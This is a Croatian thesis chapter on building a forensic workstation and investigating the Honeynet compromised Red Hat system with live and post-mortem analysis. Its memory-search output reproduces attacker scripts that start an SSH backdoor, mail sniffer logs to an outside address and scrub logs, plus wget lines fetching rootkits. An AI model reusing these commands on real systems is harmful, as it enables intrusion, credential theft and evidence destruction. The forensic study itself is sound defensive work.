Od ostalih važnijih postavki bitno je spomenuti konfiguraciju umrežavanja i odabir tvrdog diska virtualnog računala. Kao tip umrežavanja odabran je Use bridged networking kao što je prikazano na slici 4.3.

Text Box: Slika  SEQ "Slika" \*Arabic 4.3. Odabir tip umrežavanja virtualnog računala
Svako virtualno računala ima nekoliko opcija koje se odnose na tvrdi disk kojeg će to računalo koristiti. U ovom slučaju odabrana je opcija Create new virtual disk kao na slici 4.4. Ovaj odabir je pogodan iz razloga što je tvrdi disk predstavljen kao datoteka s ekstenzijom .vmdk koja je pohranjena unutar kazala koje je odabrano na samom početku konfiguracije virtualnog računala. Iz tog razloga tvrdi disk je moguće jednostavno prenositi između različitih virtualnih računala, što je ekvivalentno kao da se prenosi fizički tvrdi disk na neko drugo fizičko računalo.

Text Box: Slika  SEQ "Slika" \*Arabic 4.4. Odabir opcija tvrdog diska virtualnog računala
Za veličinu diska odabrano je 1GB, a opcije Allocate all disk space i Split disk into 2GB files su isključene. Odabir veličine diska prikazan je na slici 4.5.

Text Box: Slika  SEQ "Slika" \*Arabic 4.5. Odabir veličine tvrdog diska virtualnog računala
Sve opcije mogu se kasnije dodatno podešavati i mijenjati iz odgovarajućeg izbornika.

Operacijski sustav koji će se koristiti dostupan je na Internet adresi http://www.ubuntu.com. Za ovaj postupak instalacije preuzeta datoteka snimljena je na prijenosni medij CD. Cijeli postupak instalacije vođen je čarobnjakom koji se pokreće automatski. Nakon prolaska kroz prvih nekoliko koraka instalacije, dolazi se do vrlo važnog dijela koji se odnosi na postavke tvrdog diska, odnosno na particioniranje tvrdog diska. Kako se u ovom slučaju na virtualnom računalu nalazi samo jedan tvrdi disk, odabrana je opcija Guided – use entire disk kao na slici 4.6. Ova opcija će podijeliti disk na dvije particije, i to redom na Root i Swap particiju koje su karakteristične za GNU/Linux operacijske sustave.

Text Box: Slika  SEQ "Slika" \*Arabic 4.6. particioniranje diska virtualnog računala
Nakon uspješnog particioniranja, čarobnjak će instalirati temeljne komponente operacijskog sustava (base system). Kako se ovdje radi o operacijskom sustavu poslužitelju, čarobnjak će, nakon završene instalacije temeljnih komponenti, ponuditi instalaciju dva predefinirana paketa, slika 4.7, ovisno o namjeni poslužitelja. U ovom slučaju taj korak je preskočen jer navedeni paketi nisu potrebni u forenzičkoj analizi.

Text Box: Slika  SEQ "Slika" \*Arabic 4.7. Odabir predefiniranih paketa Ubuntu poslužitelja.
Na slici 4.8 je prikazana kartica virtualnog računala s instaliranim operacijskim sustavom. Kartica virtualnog računala omogućava uvid u postavke istog kao i mogućnost njihove promjene, te pokretanje virtualnog računala.

Na virtualno računalo naknadno je dodan još jedan tvrdi disk kapaciteta 3GB. Dodavanje novog diska omogućeno je odabirom opcije Edit virtual machine settings kao na slici 4.8. Odabirom navedene opcije otvara se izbornik na kojem je odabrana opcija Add. Nakon toga, odabran je tip uređaja koji se želi dodati u virtualno računalo (Hard disk). Postupak dodavanja novog diska prikazan je na slikama 4.4 i 4.5. Kako bi novo stvoreni tvrdi disk bio dostupan unutar operacijskog sustava potrebno je isti formatirati i uključiti u postojeći datotečni sustav.

$ sudo mkfs -t ext 3 /dev/sdb

Izvođenjem naredbe mkfs stvoren je datotečni sustav ext3. Svaki novi tvrdi disk koji se dodaje u operacijski sustav imati će oznaku sdX, gdje X predstavlja slovo abecede kao redni broj diska u sustavu (prvi disk ima oznaku sda, drugi sdb, i tako redom). Nakon uspješnog formatiranja tvrdog diska, isti je potrebno uključiti u postojeći datotečni sustav.

$ mount -t ext3 /dev/sdb /media/sdb
$ sudo echo "/dev/sdb /media/sdb ext3 defaults,errors=remount-ro 0 2" >> /etc/fstab

Zadnju naredba može se izvesti nakon uspješnog priključenja novog tvrdog diska u postojeći datotečni sustav pomoću naredbe mount. Ta naredba će omogućiti automatsko priključivanje novog diska prilikom svakog pokretanja forenzičkog sustava. Novo stvoreni disk koristi se za pohranjivanje podataka prikupljenih tijekom forenzičke analize.

Text Box: Slika  SEQ "Slika" \*Arabic 4.8. Kartica virtualnog računala
Alat Vmware sadrži niz dodatnih konzolnih alata koji omogućavaju dodatno konfiguriranje sustava. Od važnijih alata treba izdvojiti vmware-vdiskmanager koji omogućava rad s virtualnim diskovima (datoteke s ekstenzijom vdmk). Ako je virtualni disk particioniran, tada je potrebno koristiti dodatne alate za povećanje pojednih particija.

 5.        Forenzička analiza odabranih slučajeva

U ovom poglavlju, navedene procedure i metode računalne forenzike primijeniti će se na rješavanje konkretnih slučajeva. Odabrani slučajevi javno su dostupni i mogu se preuzeti s Internet adrese http://www.honeynet.org . Za svaki odabrani slučaj dan je kratki opis problema i način na koji će isti biti riješen.

 5.1.                        Forenzička analiza kompromitiranog GNU/Linux operacijskog sustava

Slučaj predstavlja stvarni napad (sigurnosni incident) koji se dogodio na GNU/Linux Red Hat 7.2 sustavu. Prije napada sustav je priključen na mrežu u obliku virtualnog računala, te je napravljen MD5 sažetak svih datoteka datotečnog sustava. Za potrebe virtualizacije korišten je Vmware Workstation 4.0. Napad se dogodio 10. travnja 2003 godine. Nakon napada sustav je stavljen u stanje mirovanja (suspend) i kao takav je ostavljen za analizu. Za analizu sustava korištene su metode live i post-mortem analize sustava. Prvi dio analize ostvaren je na samom kompromitiranom sustavu korištenjem statički vezanih alata GNU/Linux Helix distribucije. Analiza sustava post-mortem ostvarena je korištenjem The Sleuth kit i Autopsy forenzičkih alata i to na forenzičkoj kopiji tvrdog diska kompromitiranog računala. Svi podaci koji se prikupljaju tijekom live analize sustava prebacuju se preko mreže na forenzički sustav koji je ostvaren u prethodnom poglavlju. Forenzički sustav povezan je preko vmnet0 virtualnog sučelja. Sve naredbe koje se izvršavaju na forenzičkom sustavu imaju prefiks fd#, a na kompromitiranom ks#. Svaki pronađeni računalni program, za kojega nije bilo moguće utvrditi namjenu, podvrgnut je procesu statičke analize programa. Nad svakom datotekom napravljena je detekcija tipa, ekstrakcija niza znakova, te njihovo pretraživanje.

 5.1.1.                   Prikupljanje podataka

Prije početka analize napravljena je provjera sažetka preuzetih datoteka kako bi se provjerio integritet istih.

$ md5sum linux-suspended.tar.bz2
d95a8c351e048bd7d5596d6fc49b6d72  linux-suspended.tar.bz2

U prvom koraku snimljena je početna slika kompromitiranog računala. Iz slike 5.1 izdvojena su sljedeća zapažanja:

l        mrežno sučelje eth0 kompromitiranog sustava ima aktiviran PROMISC način rada.

l        proces swapd koristi zastarjelu pristupnu točku (PF_INET, SOCK_PACKET).

l        korisnik root je dobio elektronsku poštu koja se nalazi u /var/spool/mail/root kazalu.

Text Box: Slika  SEQ "Slika" \*Arabic 5.1. Početni ekran kompromitiranog sustava.
U live analizi kompromitiranog sustava korišteni su standardni GNU/Linux alati koji su statički vezani, te neovisni o bibliotekama operacijskog sustava. Alate su pohranjeni na prijenosni medij (CD) kako bi se mogli koristiti na kompromitiranom računalu. Alati su redom:

l        bash – povjerljiva ljuska za izvršavanje naredbi

l        ifconfig – alat za konfiguraciju mrežnih sučelja sustava

l        date – alat za dobivanje trenutnog datuma  na sustavu

l        arp – alat za pregled arp tablice

l        route – alat za pregled route tablice

l        dd – alat za  izradu forenzičke kopije

l        netstat – alat za pregled mrežnih veza

l        ps – alat za pregled aktivnih procesa sustava

l        lsof – alat za pregled otvorenih datoteka aktivnih procesa

l        fls – alat za generiranje sadržaja datotečnog sustava

l        sha1sum – alat za izradu sha1 sažetaka

l        nc – alat za prijenos podataka preko mreže

Sve naredbe se izvršavaju unutar vremenskog okvira, koji predstavlja vrijeme početka i završetka live analize sustava.

Prijenosni medij s alatima priključen je na kompromitirano računalo i pokrenuta je povjerljiva bash ljuska operacijskog sustava. Naredba mount jedina je naredba koja pripada kompromitiranom sustavu. U slučaju da je ova naredba bila kompromitirana (death switch), analizu u radnom stanju ne bi bilo moguće ostvariti.

ks# mount -n /mnt/cdrom
ks# /mnt/cdrom/linux_x86/bash

Naredbom ifconfig napravljen je uvid u mrežna sučelja i IP adrese kompromitiranog računala. Ta činjenica iskorištena je za povezivanje s forenzičkim sustavom na koji će se pohraniti prikupljeni podaci. Slika 5.2 prikazuje rezultat izvođenja naredbe ifconfig.

ks# /mnt/cdrom/linux_x86/ifconfig -a
eth0      Link encap:Ethernet  HWaddr 00:0C:29:89:42:93 
          inet addr:192.168.1.79 Bcast:192.168.1.255 Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:9929 errors:0 dropped:0 overruns:0 frame:0
          TX packets:9246 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0
...

Slika 5.2. Uvid u mrežna sučelja kompromitiranog sustava

Dobiveni rezultati potvrđuju početnu tvrdnju da se mrežno sučelje eth0 nalazi u PROMISC načinu rada. Ova činjenica dodatno znači da je napadač došao do administratorskih ovlasti (root level access, korisničko ime i lozinka administratora) nad sustavom, jer je to jedini način da se mrežno sučelje postavi u PROMISC način rada. Samim time na sustavu je najvjerojatnije pokrenut proces, takozvani sniffer [35], čija je zadaća obično da prikuplja za napadača korisne podatke, kao što su korisničko ime i lozinka korisnika sustava [36]. Uvidom u mrežno sučelje eth0 otkriveno je da je IP adresa kompromitiranog računala 192.168.1.79/24. S obzirom na tu adresu, adresa 192.168.1.80/24 je odabrana za IP adresu forenzičkog sustava. Sva komunikacija između dva računala odvijati će se preko pristupne točke 8000.

fs# ifconfig eth0 192.168.1.80

Nakon uspješnog povezivanja računala prikupljeni su podaci izvršavanjem naredbi redoslijedom koji je prikazan na slici 5.3.

ks# /mnt/cdrom/linux_x86/date | /mnt/cdrom/linux_x86/nc -w 192.168.1.80 8000
ks# /mnt/cdrom/linux_x86/dd if=/proc/kcore | /mnt/cdrom/linux_x86/nc -w 192.168.1.80 8000
ks# /mnt/cdrom/linux_x86/netstat -apn | /mnt/cdrom/linux_x86/nc -w 192.168.1.80 8000
ks# /mnt/cdrom/linux_x86/ps aux | /mnt/cdrom/linux_x86/nc -w 192.168.1.80 8000
ks# /mnt/cdrom/linux_x86/lsof -n -P -l | /mnt/cdrom/linux_x86/nc -w 192.168.1.80 8000
ks# /mnt/cdrom/linux_x86/mount | /mnt/cdrom/linux_x86/nc -w 192.168.1.80 8000
...

Slika 5.3. Prikupljanje podataka tijekom live analize sustava

Nakon što su svi podaci prebačeni na forenzički sustav, napravljen je njihov sažetak kako bi se očuvao integritet istih.

fs# sha1sum * > sha1sum.liveResponse

Nazivi svih datoteka su formirani na način da ime predstavlja podatke, a ekstenzija alat koji se koristio za njihovo prikupljanje. Redoslijed izvršavanja naredbi je određen prema životnom vijeku podataka u računalu. Izvršavanjem naredbi sa slike 5.3 prikupljeni su sljedeći podaci

l        datum/vrijeme kompromitiranog sustava (označava početak i završetak analize) (datoteke date.localtime.start i date.localtime.end)

l        priručna memorija arp i route tablice (datoteke arp.cache, route.cache)

l        sadržaj radne memorije sustava (datoteka memory.kcore)

l        pregled mrežnih konekcija sustava (datoteka network.netstat)

l        pregled aktivnih procesa i pripadnih datoteka koje procesi koriste (datoteke process.ps i process.lsof)

l        pregled aktivnih particija datotečnog sustava kompromitiranog računala (datoteka partitions.mount)

l        pregled svih datoteka datotečnog sustava, njihovih vremenskih oznaka i ostalih karakterističnih parametara (datoteka timeline.fls)

Uvidom u datoteku aktivnih particija (partitions.mount), utvrđeno je da je na sustav priključena prva particija primarnoga tvrdog diska tipa SCSI (/dev/sda), odnosno /dev/sda1 (slika 5.4).

/dev/sda1 on / type ext3 (rw)
none on /proc type proc (rw)
usbdevfs on /proc/bus/usb type usbdevfs (rw)
none on /dev/pts type devpts (rw,gid=5,mode=620)
none on /dev/shm type tmpfs (rw)

Slika 5.4. Prikaz sadržaja datoteke partitions.mount

Za post-mortem analizu napravljena je forenzička kopija /dev/sda tvrdog diska. Prije toga sustav je stavljen u offline način rada, te je preko njega pokrenuta Linux Helix distribucija u ekspert (expert) načinu rada. Pokrenuta distribucija povezana je s forenzičkim sustavom, te je napravljena forenzička kopija izvođenjem sljedećih naredbi:

fs# sha1sum filesystem.forensicdup
fs# nc -l -p 8000 > filesystem.forensicDup.sha1
ks# sha1sum /dev/sda | nc -w 192.168.1.80 8000
fs# nc -l -p 8000 > filesystem.forensicDup
ks# dd if=/dev/sda bs=4k | nc -w 192.168.1.80 8000

Prije izrade forenzičke kopije napravljena je SHA1 sažetak cijelog tvrdog diska. Dobiveni sažetak korišten je kao potvrda da je forenzička kopija uspješno napravljena.

f9d2f36526a607b19ef26d7da1b64a653e7d63f0  /dev/sda

Uspješnom provjerom sažetka forenzičke kopije završena je analiza kompromitiranog sustava u radnom stanju.

 5.1.2.                   Analiza prikupljenih podataka

Kompromitirani sustav je suspendiran u nedjelju 10. kolovoza 2003 negdje oko 20:30 sati. Vremenska zona je PDT, odnosno US Pacific Time kao što je prikazano na slici 5.5.

Sun Aug 10 20:32.02 PDT 2003

Slika 5.5. Prikaz sadržaja datoteke date.localtime.start

Pregledom aktivnih mrežnih konekcija na slici 5.6 identificirani su sumnjivi procesi i njihove pristupne točke.

...
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      3137/smbd -D       
tcp        0      0 0.0.0.0:2003            0.0.0.0:*               LISTEN      3137/smbd -D       
tcp        0      0 0.0.0.0:65336           0.0.0.0:*               LISTEN      15119/initd        
tcp        0      0 0.0.0.0:3128            0.0.0.0:*               LISTEN      25241/xopen        

tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      3137/smbd -D       
tcp        0      0 0.0.0.0:65436           0.0.0.0:*               LISTEN      15119/initd        
tcp        0    228 192.168.1.79:65336      213.154.118.200:1188    ESTABLISHED 15119/initd
udp        0      0 0.0.0.0:3049            0.0.0.0:*                           25239/xopen        
...

Slika 5.6. Prikaz sadržaja datoteke network.netstat

Tablica 5.1. prikazuje sumnjive procese kompromitiranog sustava i otvorene pristupne točke.

Tablica 5.1. Sumnjivi procesi kompromitiranog sustava

PID

Naziv procesa

Pristupne točke

3137

smbd

2003, 443,80

15119

initd

65336, 65436

25241, 25239

xopen

3049, 3128

Proces smbd predstavlja servis usluga za SMB klijente, kao što su Windows operacijski sustavi. U ovom slučaju na sustavu su pokrenuta dva takva procesa s razlikom da jedan ima vrlo visoki PID 3137. Ta činjenica izaziva sumnju iz razloga jer se obično takvi proces pokreću prilikom pokretanja operacijskog sustava, te samim time imaju vrlo mali PID (obično manji od 1000). Na slici 5.6 može se uočiti da se tu radi o procesu naziva "smbd -D". Proces 845/smbd predstavlja ispravan SMB servis. Sljedeći proces je initd, čije ime odgovara standardnom procesu GNU/Linux operacijskog sustava. Neobično kod ovog procesa je također njegov visoki PID, a osim toga i istovremeno postojanje procesa xinetd koji predstavlja napredniju verziju initd procesa [11]. Iz toga razloga nema nikakve logike da na sustavu postoje dvije verzije. Kao zadnji proces izdvojen je xopen, koji izaziva sumnju prvenstveno zbog svojega imena, a onda i zbog vrlo visokih PID oznaka koji su mu dodijeljeni. Kao dodatni razlog sumnje je i pristupna točku 80 procesa 3137/smbd, koja je ustvari rezervirana za komunikaciju HTTP protokola, odnosno procesa kao što su www preglednici. Dodatno proces initd ima uspostavljenu vezu s IP adresom 213.154.118.200. Pronađena IP adresa je najvjerojatnije adresa računala s kojega je nastupio napad.

Uvidom u stanje svih procesa koji su pokrenuti na sustavu (slika 5.7), pronađena su dodatna dva procesa koja je potrebno detaljnije analizirati. Prvi proces je lsn, koji ima sumnjivu lokaciju s koje je pokrenut /lib/.x/s (točka u imenu .x označava da se radi o skrivenom kazalu). Također je utvrđeno da proces xopen potječe iz istog kazala kao i proces 25247/lsn. Drugi proces je 3153/(swapd) koji se pojavio na samom početku analize (prilikom pokretanja kompromitiranog računala sustav je javio da proces koristi zastarjeli (PF_INET, SOCK_PACKET)).

...
root      3137  0.0  0.7  1900  716 ?        S    13:33   0:03 smbd -D
root      3153  0.0  0.7  1664  704 ?        S    13:33   0:00 (swapd)
root     25239  0.0  0.3  1880  336 ?        S    15:32   0:00 /lib/.x/s/xopen -
root     25241  0.0  0.7  1888  672 ?        S    15:32   0:00 /lib/.x/s/xopen -
root     25247  0.0  0.7  1668  732 ?        S    15:32   0:00 /lib/.x/s/lsn
root     15119  0.0  1.3  2296 1240 ?        S    16:02   0:00 initd
...

Slika 5.7. Prikaz sadržaja datoteke process.ps

Za svaki od navedenih sumnjivih procesa napravljen je uvid u otvorene datoteke pretraživanjem sadržaja datoteke process.lsof. Dobiveni rezultati nalaze se u Prilogu A-E.

Pregledom otvorenih datoteka otkriveno je da skoro svi izdvojeni procesi imaju neke zajedničke datoteke koje su označene za brisanje (oznaka (deleted)), drugim riječima to znači da su te datoteke vidljive samo procesima koji ih koriste. Upravo ta činjenica označava neuobičajeno ponašanje izdvojenih procesa. Ovo svojstvo karakteristično je za GNU/Linux operacijske sustave koji omogućavaju brisanje datoteka koje koriste aktivni procesi. Može se dogoditi i da neki procesi imaju obrisane izvorne programe koji ih pokreću. Ovdje je bitno napomenuti da u normalnim uvjetima svaka datoteka ima brojač koji odgovara broju procesa koji istu koriste. Kada proces završi s korištenjem datoteke, brojač se dekrementira za jedan. Kada brojač postane nula, datoteka se označava kao nepotrebna, odnosno označi se za brisanje. Brojač nikada neće poprimiti vrijednost nula prije nego što zadnji proces, koji koristi datoteku, ne završi s radom [36].

Dosada prikupljeni dokazi dovoljni su za potvrdu da se radi o povredi sigurnosti računalnog sustava, odnosno da je sustav kompromitiran.

Tablica 5.2 sadrži sve dokaze koji su pronađeni analizom podataka prikupljenih tijekom analize kompromitiranog sustava u radnom stanju.

Tablica 5.2. Pregled pronađenih dokaza

Dokaz

Opis

3137/smbd

pristupne točke 2003, 443, 80

15119/initd

pristupne točke 65336, 65436

25241, 25239/xopen

pristupne točke 3049, 3128

25247/lsn

pristupne točke 443, 80

3153/swapd

pristupne točke 443, 80

/lib/.x

skriveno kazalo procesa lsn, xopen

/var/run/httpd.mm.800.sem

datoteka označena za brisanje, koriste je svi procesi osim initd

/var/log/httpd

kazalo kojeg koriste svi navedeni procesi, datoteke iz ovog kazala su označene za brisanje

/etc/opt/psybnc

kazalo procesa initd

/usr/lib/libice.log

datoteka koju koristi proces (swapd)

192.168.1.79

IP adresa kompromitiranog računala

213.154.118.200

IP adresa s kojom proces initd ima uspostavljenu konekciju

eth0

mrežno sučelje radi u PROMISC načinu

Neki od dokaza iz tablice  korišteni su kao ključne riječi za pretraživanje sadržaja radne memorije. Pretraživanje je ostvareno korištenjem grep alata. Radi preglednosti, ispis rezultata je djelomičan (prikazane su samo relevantni podaci).

Slika 5.8 prikazuje korištene naredbe i dobivene rezultate pretraživanja prema ključnoj riječi "xopen".

fs# strings memory.kcore > memory.kcore.strings
fs# grep -A 10 -B 10 -i -b "xopen" memory.kcore.strings > memory.kcore.strings.xopen
fs# less memory.kcore.strings.xopen
...
24728739-#!/bin/sh
24728749-SSHPORT=`cat /lib/.x/s/port`
24728778-IP=`cat /lib/.x/ip`
24728798-TIME=`date`
24728810:/lib/.x/s/xopen -q -p ${SSHPORT} >> /lib/.x/reboot.log
24728865-/lib/.x/s/lsn &
24728881-/lib/.x/sk p 1 >> /lib/.x/reboot.log
24728918-/lib/.x/sk f 1 >> /lib/.x/reboot.log
24728955-echo "###Host ${IP} went online on ${TIME}" >> /tmp/13996log
24729016-echo >> /tmp/13996maillog
24729042-echo >> /tmp/13996maillog
24729068-echo "###SSHD backdoor port: ${SSHPORT}" >> /tmp/13996log
24729126-echo >> /tmp/13996maillog
24729152-echo >> /tmp/13996maillog
24729179-echo "###Sniffer log:" >> /tmp/13996log
--
24729441-echo >> /tmp/13996maillog
24729467-echo "###Reboot log:" >> /tmp/13996log
24729506-cat /lib/.x/reboot.log >> /tmp/13996log
24729598-cat /tmp/13996log | mail -s "Host ${IP} is up!" skiZophrenia_sick@yahoo.com
24729674-/lib/.x/hide
24729687-/lib/.x/cl -f /var/log/maillog yahoo > /dev/null
24729736-/lib/.x/cl -s o.tgz > /dev/null
24729768-/lib/.x/cl -s suckit > /dev/null
24729801:/lib/.x/cl -s xopen > /dev/null
24729833-/lib/.x/cl -s promisc > /dev/null
24729867-/lib/.x/cl -f promisc /var/log/secure > /dev/null
24729917-rm -rf /tmp/13996*
24729936-rm -rf /lib/.x/reboot.log
33092520-#!/bin/sh
33092530-for i in $(ps aux|grep "/lib/.x"|awk -F " " '{print $2}')
33092588-/lib/.x/sk i $i >>/lib/.x/hide.log
33092623-done
33092628:for z in $(ps aux|grep xopen|awk -F " " '{print $2}')
33092682-/lib/.x/sk i $z >>/lib/.x/hide.log
33092717-done
33092722-for x in $(ps aux|grep lsn|awk -F " " '{print $2}')
33092774-/lib/.x/sk i $z >>/lib/.x/hide.log
...

Slika 5.8: Prikaz rezultata pretraživanja radne memorije prema ključnoj riječi "xopen"

Pretraživanjem prema ključnoj riječi "xopen" pronađeni su dokazi koji predstavljaju fragmente bash skripti (oznake #!/bin/bash) koje je napadač izvršio na kompromitiranom sustavu. Prva skripta očito predstavlja način na koji je napadač ostavio prolaz na kompromitirano računalo (backdoor) i to na način da je pokrenuo proces xopen koji predstavlja kompromitirani ssh servis. Dodatno, vidljivo je da napadač šalje obavijest o dostupnosti kompromitiranog računala, te da se većina akcija bilježi u dnevnicima koji se nalaze u /tmp kazalu. Druga skripta služi za prikrivanje tragova napadača dohvaćanjem PID oznaka procesa koji pripadaju kazalu /lib/.x ili u svojem nazivu imaju riječi xopen ili lsn.

Pretraživanjem prema ključnoj riječi "wget" (naziv alata za preuzimanje datoteka) otkriveno je niz datoteka kao i pripadne adrese s kojih napadač preuzima navedene datoteke. Na slici 5.9 su redom prikazani korišteni alati dobiveni pretraživanjem radne memorije.

fs#  grep -A 10 -B 10 -i -b "wget" memory.kcore.strings > memory.kcore.strings.wget
fs# less memory.kcore.strings.wget
...
7632904-uptime
7632911-./inst
7632918-hostname
7632927-hostname sbm79.dtc.apu.edu
7632954-cd /dev/shm/sc
7632969-./install sbm79.dtc.apu.edu
7632997-rm -rf /var/mail/root
7633019-ps x
7633024-cd /tmp
7633032-ls -a
7633038:wget izolam.net/sslstop.tar.gz
...
7965652-ls -a
7965658-inel1979.go.ro/mass2.tgz
7965683-as.ro/rootkit.tar
7965701-/rk.tar.gz
7965712-ls -a
7965718-cd /usr/lib
7965730:wget irinel1979.go.ro/a.tgz
7965758-cd /tmp
7965766:wget irinel1979.go.ro/a.tgz
7965794-tar -zxvf a.tgz
7965810-ls -a
7965816-cd a
7965821:wget geocities.com/mybabywhy/rk.tar.gz
7965860-tar -zxvf rk.tar.gz
7965880-cd sand
7965888-./install
7965898:wget geocities.com/gavish19/abc.tgz
...

Slika 5.9. Prikaz rezultata pretraživanja radne memorije prema ključnoj riječi "wget"

Modificiranjem upita pretraživanja izdvojeni su parovi adresa/datoteka koje napadač dohvaća na kompromitirani sustav. Slika 5.10 prikazuje parove adresa/datoteka.

fs# grep -i -b "^wget" memory.kcore.strings > memory.kcore.strings.wget_adress
fs# less memory.kcore.strings.wget_adress
...
7633038:wget izolam.net/sslstop.tar.gz
7965730:wget irinel1979.go.ro/a.tgz
7965821:wget geocities.com/mybabywhy/rk.tar.gz
7965898:wget geocities.com/gavish19/abc.tgz
12742870:wget www.lugojteam.as.ro/rootkit.tar
12743001:wget geocities.com/mybabywhy/rk.tar.gz
12743273:wget irinel1979.go.ro/mass2.tgz
12743315:wget www.i-need-ftp.as.ro/ttt.tgz
12743359:wget irinel1979.go.ro/er.tgz
12743427:wget geocities.com/mybabywhy/rk.tar.gz
12743476:wget izolam.net/gods
12743507:wget geocities.com/mybabywhy/rk.tar.gz
12743605:wget www.irinel1979.go.ro/er.tgz
12743648:wget irinel1979.go.ro/er.tgz
12743687:wget irinel1979.netfirms.com/er.tgz
...

Slika 5.10. Prikaz dohvaćenih datoteka na kompromitranom sustavu

Pretraživanjem sadržaja memorije dodatno su potvrđene sve pretpostavke i dosada pronađeni dokazi. Kao rezultat prvog dijela analize, utvrđeno je da je sustav kompromitiran, da je napadač došao do administratorskih ovlasti, te da ja na sustavu pokrenuto više procesa kojima napadač kontrolira sustav. Taj zaključak je donesen na temelju više različitih izvora informacija koji su dobiveni pregledom dokaza prikupljenih tijekom analize sustava u radnom stanju.

Na početku post-mortem analize napravljena je kategorizacija svih datoteka koje se nalaze na forenzičkoj kopiji. Kategorizacija je napravljena korištenjem baze sažetaka (datoteka linux-suspended-md5s). Kao što je u opisu slučaja navedeno, nakon instalacije sustava, napravljen je sažetak svih datoteka datotečnog sustava s ciljem očuvanja integriteta podataka na sustavu. Kategorizacijom datoteka i eliminiranjem poznatih datoteka prema bazi sažetaka dobiveno je 588 datoteka od ukupno 35704 alociranih koje je potrebno istražiti, odnosno čiji sažeci nisu pronađeni u bazi. Treba napomenuti da sustav sadrži ukupno 122926 alociranih i nealociranih datoteka.

Tablica 5.3 sadrži djelomični popis izdvojenih datoteka i kazala koje je potrebno analizirati. Neki od prikazanih dokaza identificirani su u prvom koraku analize. Za rekonstrukciju događaja na kompromitiranom sustavu korištene su tako zvane MAC vremenske oznake te funkcija event sequencer forenzičkog alata Autopsy. Kako se navedene oznake mogu krivotvoriti postoji mogućnost da u neki slučajevima vremenski slijed neće odgovarati stvarnom tijeku događanja.

Tablica 5.3. Izdvojene datoteke i kazala kompromitiranog sustava.

Kazala

Raspon analize

/var/log

cijelo kazalo

/etc/opt/psybnc

cijelo kazalo

/lib/.x

cijelo kazalo

/root/sslstop

sslstop.tar.gz

/tmp

datoteka tipa .c, .o, .txt

/etc/opt/psybnc

cijelo kazalo

/etc/rc.d/init.d

functions

/etc/rc.d

rc.sysinit

/usr/bin

top, sense, crontabs, smbd -D, (swapd)

/usr/lib

adore.o, cleaner.o, sp0, libsss

/bin, /sbin

netstat, ps, ls, pico, ifconfig

/dev

ttyop, ttyof, ttyoa,

/

.bash_history

Analizom kazala /etc/opt/psybnc pronađene su datoteke koje odgovaraju programu pod nazivom IRC-bouncer (psybnc). Detaljnijim pregledom kazala pronađena je datoteka programa initd i datoteka psybnc.pid koja sadržava oznaku PID (15119) koja se dodjeljuje psybnc procesu. Navedeni PID upravo odgovara procesu initd koji je identificiran kao sumnjivi proces prilikom live analize. Dodatno je otkriveno da je napadač promijenio originalno ime procesa psybnc u initd, kako bi sakrio originalni proces i njegovu stvarnu namjenu. Proces 15119/initd je pokrenut negdje oko 16:02:46 sati, što je vidljivo iz vremena pristupa datoteci initd. Datoteka psybnc.log sadrži sve radnje vezane za proces initd.

Slika 5.11 prikazuje sadržaj datoteke psybnc.log.

...
Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port 65336
Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port -100
Sun Aug 10 16:02:46 :Can't create listening sock on host * port -200 (bind)
Sun Aug 10 16:02:46 :Loading all Users..
Sun Aug 10 16:02:46 :No Users found.
Sun Aug 10 16:02:46 :psyBNC2.3.1-cBtITLdDMSNp started (PID :15119)
Sun Aug 10 16:03:32 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:03:32 :New User:sic (wqewqde dedwqere) added by sic
Sun Aug 10 16:03:36 :User sic () has no server added
Sun Aug 10 16:04:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:04:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:04:47 :Hop requested by sic. Quitting.
Sun Aug 10 16:04:47 :User sic got disconnected from server.
Sun Aug 10 16:04:51 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:07:47 :User sic logged in.
Sun Aug 10 16:08:00 :User sic: cant connect to fairfax.va.us.undernet.org port 6667.
Sun Aug 10 16:08:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ()
Sun Aug 10 17:51:36 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:51:36 :User redcode () connected to mesa.az.us.undernet.org:6667 ()Sun Aug 10 17:51:42 :User redcode () got disconnected (from mesa.az.us.undernet.org) Reason: Closing Link: killme by mesa.az.us.undernet.org (Sorry, your connection class is full - try again later or try another server)
Sun Aug 10 17:52:06 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:52:06 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
...

Slika 5.11. Prikaz sadržaja datoteke psybnc.log

Ubrzo nakon pokretanja initd procesa, uspostavlja se veza s kompromitiranim računalom s adrese sanido-09.is.pcnet.ro. Napadač s korisničkim imenom sic (nadimak [[[kgb]]]) pokušava uspostaviti vezu s udaljenim računalom na adresi fairfax.va.us.undernet.org:6667. Nakon nekoliko neuspješnih pokušaja, napadač prekida vezu sve do 17:49:41 sati kada se ponovno povezuje s adrese sanido-08.is.pcnet.ro. Od tog trenutka uočeno je da se na kompromitiranom sustavu nalazi i novi napadač pod imenom redcode (nadimak killme) ili isti napadač samo s drugim korisničkim imenom (ista IP adresa). Konačno napadač uspostavlja vezu s računalom na adresi mesa.az.us.undernet.org koja ostaje aktivna sve do 18:00:49 sati. Od tog trenutka svi zapisi odgovaraju vremenskom okviru u kojem je ostvarena live analiza sustava. Svaki od tih zapisa otkriva funkciju programa psybnc koji pokušava automatski uspostaviti vezu s poslužiteljem s kojim je bio prije povezan.

